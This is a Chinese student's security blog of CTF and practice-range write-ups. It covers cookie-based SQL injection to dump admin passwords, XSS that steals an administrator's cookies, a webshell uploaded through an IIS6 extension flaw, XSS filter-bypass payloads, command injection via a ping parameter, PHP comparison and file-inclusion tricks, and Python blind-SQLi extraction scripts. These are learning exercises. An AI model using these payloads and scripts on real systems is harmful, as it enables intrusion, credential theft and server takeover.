Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

记一次靶场的渗透实战

写在前面

之前几天在学linux以及docker的一些基本操作,昨天打一次ctf比赛发现自己水平还是那么菜,好在郁离歌师傅一句”太急了”点醒了我。然后之前靠着一手py搞到了一个靶场,现在刚刚好用到练练手。这一次的题目就是从这里面来的。

注入拿密码

初步观察

打开网站,发现信息量挺多的,不过不急慢慢找突破点。
点开首页,然后在接着点开其他链接发现这是一个asp动态网页。


既然这题目要我们通过注入,那就关注与数据库交互方面的内容。

找到注入点

在新闻界面发现了有与数据库交互的内容,一个查询界面通过id号来查询新闻内容。

这里我稍微尝试了一下,试着测试了一下,在get传参的时候有waf拦截了一些关键词查询,这里有两种思路可以选择,第一是通过一些技巧来绕过过滤,不过我在测试的时候发现了一个问题,这里连‘’都过滤了,其他可用函数也无法构造完整语句来查询。所以基本可以考虑第二种方式,去找其他注入点,凡是与数据库交互的都是可以注入的。
这里我抓了个包,方便我们找出其他交互的点。

抓包之后发现了还有一个cookie可以进行交互,这里可以尝试一下。
PS:其实这里我也没想到能这样,源码是通过request来获取id参数值,asp也一般都是通过request来传参,所以我们可以通过cookie来给id进行赋值,而cookie一般是很少过滤的。

开始注入

通过cookies managers+插件改cookie直接访问http://120.203.13.111:8001/shownews.asp,而不通过get的方式来进行传参。测试是什么类型的注入。值得注意的是,我在测试的时候发现cookie里面的+是被替换为了空格,所以在输入的时候要注意一下。
输入id=172-1的时候发现,它跳到了171的界面,那这个是数字型注入没得跑了。

1
2
id=171 order by 10 回显正常
id=171 order by 11 回显不正常

接着判断回显位数,不过这里需要猜列名,一般的话会有什么admin,admins,user等等,可以试着猜解一下。

1
id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

这里显示出了回显位。

接着爆出username,password。

1
id=171 union select 1,username,password,4,5,6,7,8,9,10 from admin

找后台

现在用户名和密码到手,可以试着去找后台进行登入了。
尝试了一下发现后台为120.203.13.111:8001/admin/,然后输入密码和用户就行了,密码记得解个md5。

CSRF进后台

上面这个后台一眼就能看出是假的,所以应该还有真正的后台。
用工具扫了扫,发现一堆目录。

既然admin不行,那可以试试admin123

登入进去发现不太对。具体如下:


分析一下源码可以大致理解这里需要我们更改Referer,也就是从哪里传来的数据包,所以抓包改referer。
所以访问我们所要访问的页面,然后进行抓包。

修改http头,注意端口要一致,否则会出现无法响应的情况。

PS:还有一种方法是通过构造本地的链接去访问http://127.0.0.1/admin123/sysadmin_view.asp

XSS拿cookies

在测试的时候,我们在找注入点的时候发现了还有一个留言板的页面。

这里可以实验一下我们之前在xss挑战赛练习的骚操作。
测试的时候发现这里没有过滤任何东西,所以不用考虑绕过的一些技巧。
管理员会定时的来查看留言,那么我们只要构造一个导向链接把管理员的cookies导入到我们的接收平台就行了,这里就用网上提供的xss接收平台吧。
一键生成Payload,虽然自己也不太会写这些代码。不过能用就行了。

直接把payload丢到留言区等管理员查看就好。

cookie值到手。

传马拿shell

接下来就是找上传文件的地方了。这个ip不仅仅提供了8001端口,还提供了8002端口,8001两个后台都去过了所以接着去8002的后台看看。登入网址为:http://120.203.13.111:8002/admin/login.asp
修改cookie就能进后台了。

找到上传文件的地方。

制作图片马。

菜刀连接的时候发现并不能成功连接,错误提示了IIS6.0无法解析,具体原因我百度了一番。不成功是因为图片马无法被解析
IIS6.0是可以使用;,我又试着写了一个1.asp;1.jpg的小马上传,但是被检测出了无法上传。这里会检测是否是真的图片。百度的时候还发现了一个IIS6.0的解析缺陷,也就是类似cer,asa,cdx是被忽略没被过滤的,那我们可以试试把图片马后缀名改为cer试试。

成功连接,找敏感文件就行了,这里直接找到flag.txt文件。

提权

提权后续就不写了,对应的exp百度自行即可,说到底我自己也不会只是单纯的利用人家的工具而已,所以提权就不再往下写了。

写在后面

这算是一次完整的流程吧,经过这一次半实战的演练可以尝试去拿一些其他的站点了。
持之以恒!!

xss挑战赛的Payload(下)

level 11


这题目和第十题很类似,而且t_ref的内容竟然时第十题的payload,仔细想想,我们就是通过构造这个才跳转到的第十一题,而且ref立马就能想到referer这个,所以抓包更改referer属性然后点击就行了

1
referer: " type="button" onclick="alert(1)

level 12


这题目的注入点在http头的浏览器模式下,抓包改浏览器格式和上一题一样。

level 13

这题目和上面题目类似就是把cookies里面user的内容改了就行了。

level 14

这题目没搞懂要做什么,查了wp说是这题目貌似有问题,所以暂且跳过。

level 15

加载起来特别慢,也没搞懂是网络问题还是这个页面本身就这样。

根据提示这里需要用到AngularJS,听大黄说这是js的一个框架,有着特定的语法,基本的js语法也能够适用,但是需要遵守一定规则。具体用法和规则如下:

这里查阅了大手子的资料发现对外部html还有特殊的要求:

所以大致结合起来看,我们可以通过访问ng-include来执行我们的外部文件,所以可以考虑通过level1作为跳板来实现,由于script的标签没办法使用只能用事件来触发xss

1
src='level1.php?name=<img src=s onerror=alert(1)>'

level 16

这题目依旧是通过get型的方式来赋值,测试发现script关键词被过滤了,然后带有<>的标签必然在后面会跟着闭合标签</>,而且空格被过滤了,我们可以这样构造:

1
<form><input%0Atype="button"%0Aonclick="alert(1)">

由于第一个标签网页自动跟上了一个结束的标签,中间我们直接构造了一个按钮点击即可触发onclick事件。最终源码被解析成了这样。

level 17

刚刚进入题目就发现了两个可疑的参数,具体如下:

翻了翻源码发现它对应的是这个:

接着测试的时候发现了一个问题就是无论怎么输入<>这两个都是没办法绕过过滤的,那只能通过直接在这里面构造事件来达到弹窗的目的,onclick一旦点击就跳转了,所以只能用一些只在当前页面触发的事件,比如onmouseover,onfocus,不过在测试时还发现了一点就是在参数后面加空格,才能把事件独立出来解析,所以payload:

1
arg01=123&arg02= onfocus=alert(1)

点一下松开就行了。
ps:弹窗了不会跳转,需要点击下面的那个链接

level 18

emmmmmmm…………
这题目和17一样啊,没搞懂什么意思。

level 19 && level 20

完全没头绪。。。。
真的做不出啊。。。。
之后学学js再回来做这道题目。

写在最后

之后xss题目还是会接着做,接下来要学学其他东西了。。。。还是太垃圾了。。

xss挑战赛的Payload(上)

写在前面

日常开头,塔主在之前弄了一个XSS的专题,里面大致介绍了XSS攻击的一些要领以及给了我们一个XSS接收平台。,为了练习呢,有人推荐了这个xss.tv,里面有共计20道题目,所以我打算归纳一下Payload,随便总结一下bypass的思路。

level 1


打开XSS挑战赛的地址,发现第一题很明显是Get型的传参方式。试试最为基础的,也是作为测试的Payload。

1
<script>alert(1)</script>

很容易过关跳转到第二关。

level 2

审查元素

发现输入的字符被嵌入进了value=””,可以考虑闭合构造弹出提示框,然后注释掉后面的内容。

1
"><script>alert(1)</script> //

level 3

测试一下发现在文本框输入是无法回显的,审查元素发现如下。

针对这个为啥输入了一个’,源码就变成这样我还特地问了问前端狗大黄,这可能是浏览器的问题。我特地试试了几个不同的浏览器,发现输入相同,但是网站的源码并不一致,所以为了学好XSS,我就一直用一个特定的浏览器firefox。
接着测试一下’a’b确定输入的内容如何嵌入网站源码。

那就照猫画虎构造Payload

1
'onclick=alert(1)>'

源码就变为了

1
<input onclick="alert(1)>''"

这里由于浏览器解析问题这一段就直接解析成了一个事件,点击一下文本框就弹窗了。
PS:具体原理我也搞不懂是为啥,问了前端狗也无果

level 4

这一题和上一题类似,就是把换成了,试着输入Payload。

发现回显出现了一个问题就是>被吞了,既然这样我们可以试试实体编码&gt来绕过。
点击文本框即可弹窗。

level 5

这题目多了一个难点就是on被强制转化为了o_n,就说明某些事件标签就不可以用了,但是可以换一个思路来构造xss的Payload,既然on不能用了,那我们试试a,href标签,构造

1
"><a href="javascript:alert(1)">clickme<"


发现a标签被解析了,只要点击后面的clickme就能执行javascript伪协议后面的内容。

level 6

这一关相比较第五关就是过滤了href,目前过滤了on,script,href这三个关键词,我们可以尝试使用大小写来进行绕过。

1
"><sCript>alert(1)</sCript><"

level 7

这题目初步测试发现关键词on,script,src,href等关键词都被过滤了,无法回显我们输入的关键词,那么可以试试双写来绕过。

1
"><scrscriptipt>alert(1)</scrscriptipt><"

level 8

这一题过滤了很多东西,大写被自动转义成了小写,一些关键词中间都被强加了_,我们可以推测前端获取了信息返回给后端,后端是经过了一定处理的,所以呢,我们只要避开后端的检测就行了,这里可以使用实体编码来绕过,因为在后端是无法解析实体编码的,只有在前端页面才能进行解析,所以我们可以用实体编码来构造payload。
解决这个问题,再次观察题目发现我们输入的payload会被网页添加到a href标签中,所以我们最后的payload为

1
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

level 9

说实话一开始我毫无头绪,测试了很多发现都无法改变友链的内容,知道看到解析才知道,原来合法链接的意思是要加上http://,这样就好构造了,把后面的http://注释掉就行了,payload如下:

1
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://

level 10

点进去发现什么都没给,但查看源码发现

输入框被隐藏了,所以可以直接通过get把参数传过去,不过在测试的时候发现只有t_sort这个参数传过去才能更改源码。
不过测试发现<>这个标签被过滤了,并且我在尝试使用&lt,&gt绕过时发现,不仅左右括号被吞了,连内容也被吞了,不过好在on有用,构造如下:

1
http://daka.whaledu.com/xss/level10.php?t_sort=" type="button" onclick="alert(1)

最终的解析为

写在最后

由于考试周加上一些烦躁的事情要处理,博客没来得及更新,接下来博客会很勤的写。

关于xss的一些学习心得

前言

按照惯例,开头还是逼逼几句,本来这一篇我昨天就写好了,可是处理的时候不小心删了,所以就只能重新写一篇了,关于xss呢,很早之前就接触过但是一直没系统的学,只是为了做xss的题目而做题目所以这一次系统的归纳一下,也算是个备忘录吧。

何为XSS

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。(摘自百度百科)
以上的说明呢,是官方的。不过根据我的理解来说,XSS攻击是攻击者把构造的恶意代码插入到网页源码中,通过跳转,执行事件等方式来达到获取信息,执行恶意代码等目的。

XSS攻击的分类

一般来说XSS攻击分为三种。
第一种是反射型XSS,反射性XSS只是简单地把用户输入的数据”反射”给浏览器,也就是说攻击者必须让攻击点击所构造的恶意链接才能给攻击者反馈消息或者执行非本人意愿的命令。这一种反馈是即时性的,也是一次性的,也就是即输即用,也叫做”非持久型XSS”
第二种是储存型XSS,储存型XSS会把攻击者所构造的恶意代码储存到后端的数据库中,只要有用户一旦浏览到恶意代码的页面便会执行攻击的代码,被窃取登入验证等信息,攻击者便可以假冒”代表”用户进行操作。
第三种是基于Dom的XSS,这一种XSS攻击和反射型差不多,也算是反射型的一种,这种类型的攻击一般是攻击者构造一些事件,或者调用js里面一些函数来实现的,所以具体来说这种和第一种区分不算太大。

XSS一些Payload

其实来说呢,xss的payload也不是类似sql注入一样固定的,xss的payload一般来说是变化多样,根据其html的代码来进行构造的。
这是最为基础,也是常用于测试的代码

1
2
3
4
<script>alert(1)</script>
```
这里面包含了标签,也包含了alert()函数,一般来说是可以测试出一些东西的。
还有例如这种的payload


1
2
这种是通过构造一个错误,触发onerror事件弹出alert(1)。   
还有类似这种


`
这种就是通过点击恶意链接,然后用户的信息就被窃取了。
以上只是几种简单的Payload,其余的类型实在是太过复杂了,多做题目才能有更多的经验

绕过技巧

这个就大致说一下吧,之后会在练习中讲解一些的。主要分为以下几种。
1 编码绕过根据网页过滤的代码,以及代码执行的环境进行合适的编码转化,例如他在后台过滤<>这个东西,那我们可以通过%3c%3e来绕过,也可以\0x3c来绕过。
2 字符限制一般网页会限制输入的长度,我们可以进行简化代码,也可以直接更改源码中的maxlength要素来修改字符长度上限。
3 使用标签灵活使用标签也是可以达到同样的效果的。
一些其他的方式也是需要在实战中进行磨练出来的,之后会写一篇XSS练习平台的wp,详细说一些思路。

ISCCC Web的一些wp

写在前面

这是我第一次写wp,因为这次比赛挺简单的,我做的题目挺多的所以才写的这篇wp,像之前的那些偶尔爆零的比赛写出来丢人(这次写出来也挺丢人的),web400之后总结再写,web300的注入真心不会。。

比较数字大小

发现有个输入框,f12查看源码发现要求输入的数字大于某个数,然而输入框限制了输入的长度,把maxlength改为999然后乱按一通就过了。

Web01

1
2
3
4
5
6
7
8
9
highlight_file('2.php'); 
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

这题考察的是对strcmp()函数的理解,strcmp函数在对数组类的变量是会返回0的,在与其他变量比较时直接返回0,成功得到flag

为什么这么简单啊

打开网址发现了第一关的提示。

从xxxx进入的意思大致是构造Referer:http://edu.xss.tv,ip构造为题目所要的就能进入第二关了。
发现页面跳转到了number2.php?token=260ca9dd8a4577fc00b7bd5810298076,第二关要求我们输入密码,提示了密码在哪,所以打开F12找密码。

意外发现了password.js,那一串疑似base64的编码加上==号解码试试,果不其然就是密码了,把密码输进去flag到手。

本地的诱惑

抓包,添加X-Forwarded-For:127.0.0.1,即可得到flag

你能跨过去吗

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413

题目给了一个这个url,还有xss的提示,在url发现callback参数有问题,url解码发现

1
+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-

+/v+是utf-7编码格式,后面的base64得到<�script>alert(“key:/%nsfocusXSStest%/“)<�/script>
把key输入文本框就能得到flag了

一切都是套路

这道题目一开始还没做出来,后面捋捋思路发现还是挺有趣的,一道关于变量覆盖的题目。
首先找找有没有源码泄露,发现有个index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

flag在$flag里面,然后要我们通过post传参使得输入的flag等于$flag里面的内容,但是我们并不知道flag是啥,仔细观察发现有$$一个东西,我们可以考虑变量覆盖来做。
进一步观察发现$_200这个变量是一定会输出的,而且里面的内容并不重要,而$flag在传参的时候会被覆盖,所以我们可以考虑把$flag的内容给$_200,而$flag我们可以通过postflag=flag构造来满足题目所要的$_POST[“flag”] !== $flag
所以最终的构造为

你能绕够吗

这道题目考察的是文件包含,进题目后随便点点发现了这个

我们可以尝试一下?f=php://filter/read=convert.base64-encode/resource=index.php发现弹出一个error。很有可能把某个关键词给过滤了,试了试发现是php被过滤了,那尝试用大小写来绕过发现没有问题,但是并没有回显我们一直index.php是存在的,其他的关键词也没被过滤,php这个关键词我们也用大小写绕过了,但是为什么还是读不出结果呢?这只剩下一种可能,由于在之前过滤了php,那很有可能后面又加上了php这个后缀,所以导致我们读不出,抱着希望尝试一下?f=Php://filter/read=convert.base64-encode/resource=index,结果出现了回显

1
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+5a+86Iiq6aG1PC90aXRsZT4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KPC9oZWFkPgo8Ym9keT4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTEnPklEOiAxPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTInPklEOiAyPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTMnPklEOiAzPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTQnPklEOiA0PC9ocmVmPgogICAgPC9icj4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAogICAgI0lTQ0N7TEZJT09PT09PT09PT09PT099CiAgICBpZihpc3NldCgkX0dFVFsnZiddKSl7CiAgICAgICAgaWYoc3RycG9zKCRfR0VUWydmJ10sInBocCIpICE9PSBGYWxzZSl7CiAgICAgICAgICAgIGRpZSgiZXJyb3IuLi4iKTsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgaW5jbHVkZSgkX0dFVFsnZiddIC4gJy5waHAnKTsKICAgICAgICB9CiAgICB9CiAgICAKPz4KCg==

base64解码后,发现flag

Web02

尝试XFF无果,再试着其他几个伪造ip。成功拿到flag
记录一下除了XFF可以伪造ip的HTTP头
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

请ping我的ip 看你能Ping通吗

这道题目我用扫描器扫了一下,发现有个flag.txt,直接读取flag。后面请教大手子-郁离歌师傅,才知道这里有另一种解法。
输入?ip=127.0.0.1%0a%20ls可以读取目录,然后再目录下发现flag.txt,ip=127.0.0.1%0a%20cat%20flag.txt读取flag.txt

Please give me username and password

这种题目不给提示,那就试试源码泄露,发现index.php.txt存在,读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

得到需要满足两个条件。第一,0 == strcasecmp($flag,$_GET[‘username’]这里我们可以通过数组来绕过,第二点,password长度小于4,但是他又要大于999,这里我们可以考虑用科学记数法,password=1e9就能大于999。所以最终payload为

?username[]=1&password=1e9

php是世界上最好的语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>

让我们输入username和password,要求只有一个,就是让我们密码的md5为0,构造0e开头的MD5就够了。
接着跳到了一个页面叫我们点击,那就按照他的意思点击吧。
接下来发现又是一段源码。

1
2
3
4
5
6
7
NULL <?php 
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?>

直接构造a=GLOBALS就行了,这是某春秋上的原题了。

sql注入的艺术

首先测试了一下’和”是否有用,发现被过滤了,接着试了试%df%27发现原来这是宽字节注入,其他的啥也没过滤,按着流程走就行了

试试看

观察url发现这又是一道文件包含的题目,瞎操作了一个晚上还是读取不出东西,之后只好求助郁离歌大手子,他丢了两个源码给我让我做代码审计,我自己搭环境测试了好久最终才做出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>

以及

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
function get_contents($img)
{
if(strpos($img,'jpg') !== false)
{
return file_get_contents($img);
}
else
{
header('Content-Type: text/html');
return file_get_contents($img);
}
}
?>

config.php就是读取文件,关键是如何绕过show.php把我们所需要的文件传进去,它要求我们的参数里面必须包含img但是我们一旦有img那读取的一定是图片格式,所以,我们需要把img给弄掉,把我们的show.php的字符传进去。

preg_match(‘/^php:\/\/filter.resource=([^|])/i’,trim($img),$matches)

这是把我们resource之后的字符传进去的代码,由于对正则不太熟悉,所以我在本地试了试这行代码的作用,在这个正则表达式中,读取的字符串只是最后一个resource=之后的(感兴趣自己去学习一个正则),所以我们可以构造多个resource来读取我们所要的字符串,payload为?img=php://filter/resource=10.jpg/resource=show.php我们就能读取我们所要的文件了,flag在哪完全是靠直觉,读取flag的操作为?img=php://filter/resource=10.jpg/resource=../flag.php

Sqli

讲真,很讨厌这种注入题,也没什么提示,首先还是按照一些万能密码试试,在试到admin’#发现成功登入了,这就说明#没有被过滤,然后试了试admin’ and 1=1#admin’ and 1=2#,发现回显不同,布尔型注入没跑了,首先是爆出password,然后登入有个提示flag在kjafuibafuohnuvwnruniguankacbh里面,所以爆破这个字段发现flag,这是最后爆破的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import requests
import string
databaselength = 13
databasename = "sqli_database"
url = "http://118.190.152.202:8011/"
tablenumber = 2
tablelength = 4
tablename1 = "news"
columnnumber = 6
columnnames = "title note kjafuibafuohnuvwnruniguankacbh id date text"
tablename2 = "user"
columnnumber2 = 45
flag = ""
for i in range(1,50):
r = requests.post(url,data={"username":"admin' and ((select length(kjafuibafuohnuvwnruniguankacbh) from news)=%d)#"%(i),"password":"123"})
if "normal user" in r.content:
length = i
break
for i in range(1,length+1):
for j in range(20,123):
r1 = requests.post(url,data={"username":"admin' and ((select ascii(substr(kjafuibafuohnuvwnruniguankacbh,%d,1)) from news)=%d)#"%(i,j),"password":"123"})
if "normal user" in r1.content:
flag = flag + chr(j)
break
print flag

Collide

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

如果我们的md5(key.username)不等于我们传过去的verify那么网页会自己生成一个verify=md5(key.guest),以及length为key的长度。那这样我们知道了以下几点:
key的长度,key+guest的md5以及username要有admin。
已知的条件是不是很熟悉呢?再梳理一遍。
salt为51位,salt的MD5已知,拓展字符位admin。
没错这就是Hash长度拓展攻击。那么先把username=name这个post过去,然后抓包,使用脚本来拓展,然后传参。

Only admin can see flag

见之前的一篇文章。

order by以及group by在sql注入中的妙用

写在前面

最近Iscc的注入题目真是让人发疯,为此我找了一些sql注入来练手,发现了这么几道有趣的题目,来记录一下

order by

总所周知,在sql注入中,我们一般使用order by来确定列数,这样有助于我们使用联合查询来查询我们所要的数据,为何可以查询出我们所要的数据呢?因为order by是一个排序的函数,order by x的意思是对x列的数据进行ascii码的排序,如果这一列不存在,那么就会报错,所以可以达到确定列数的作用。例子就借鉴大手子的吧。

例子如下

扫出有源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "123456";
$db = "ctf";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

从源码可以得出,在这个admin表中有三列。其次呢,发现这题目过滤了password,username,=等等,然后就是回显的要求了,要求我们输入的数据在数据库里面存在,然后通过id给我们返回username,但是我们所要的flag在password里面,这里就需要我们用一些特殊的方法来把password提取出来,由于回显,我们考虑一下布尔型注入,发现()被ban了,所以这一条路是走不通了,不过仔细观察发现,我们除了union select还可以利用’以及order by等函数。结合回显是通过id来查询,所以我们可以使用order by进行排序然后通过不同输出判断密码值。我们可以试试。
首先通过构造‘ or 1#查查原来的username。

再查询一下回显位。

接着按照我们的思路来试试。


测试完了接下来就可以使用爆破来出flag了。脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import requests
import string
url = "http://202.98.28.108:10801/47g256f48gff/"
l = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}"
number = len(l)
password = list()
flag = 0
ps = ""
for i in range(0,32):#32位
for j in range(0,number):
p = ""
password.append(l[j])
p = p.join(password)
r = requests.post(url,data={"username":"whaleadmin' union select 1,2,'%s' order by 3#"%(p),"password":"1"})
if "whaleadmin" in r.content:
if j == 0:
flag = 1
break
else:
password.pop(len(password) - 1)
password.append(l[j - 1])
break
else:
password.pop(len(password) - 1)
if flag == 1:
break
print password
print ps.join(password)#输出的密码最后一位需要后移一位

爆破出密码之后md5解密一下flag就出来了。

group by以及with rollup

group by顾名思义就是把不同数据总和起来,然后进行排序输出。具体的例子可以去这里看看https://www.cnblogs.com/jingfengling/p/5962182.html,我这里就不多阐述了。
字句with rollup,求平均值的字句用法也不多说,参考https://blog.csdn.net/id19870510/article/details/6254358

例子

题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php ,这是实验吧的一道题目。
首先f12有个提示,访问/source.txt得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

源码审计,发现题目过滤了很多东西,起码联合查询,延时注入,盲注都不太现实,但是这里依旧没有过滤select,接着看得到flag的要求。
首先我们输入一个用户名,网页通过查询数据库得到该用户名的密码,再把该用户名的密码与我们所输入的进行匹配,如果成功,那么flag就到手了。
那么问题来了,我们根本不知道用户名,也不知道其密码是什么,如何达到匹配的效果呢?这里group by就派上了用场。注意这个$key是查询结果的赋值,我们在一定前提下是可以控制返回的数据的,根据gourp by的用法,我们可以构造一个语句使得查询的密码经过处理后为空,然后输入的密码也为空以此匹配。
构造‘ or 1 group by pwd with rollup limit 1 offset 0,1,2…….#偏移值一个一个试过去,毕竟不知道那个是有效值,经过尝试最终试出flag的偏移值为2。

结语

sql注入中的基操还是太多了,学不完学不完…….不过还是该学的得学,紧跟着大佬的步伐。

入侵后台的一次尝试

写在前面

最近的ISCC放出了一道web400的题目,里面的代码审计真的是令人头疼,所以为了做出这道题目,我又跑去塔主那里学习了一波(其实之前打卡太懒了,没有认真去学习东西)。

一次看了解析的入侵后台的操作

先贴上网址吧。http://202.98.28.108:10013/7sghfe673jd3/index.php?action=front&mode=login

初步判断


打开网站,发现可以攻击的点有很多,比如我们可以在登入框尝试sql注入攻击或者sql约束攻击,也可以尝试去进行xss和CSRF攻击,不过这只是一道CTF题目,管理员不太可能会从登入框登入,所以CSRF攻击可以考虑先放一边。

这里是值得注意的一个点,当我们看到形如这种?action=front&mode=login是可以去考虑文件包含漏洞的,一般看到这种,就可以大胆猜测后台是通过file=$action.’/‘.$mode.’.php’这种类型的代码来读取文件的。

进一步探索

之前都是考虑的一些点,不过还是先按照作者的思路走,既然有一个注册账号的界面,那我们先注册登入看看。

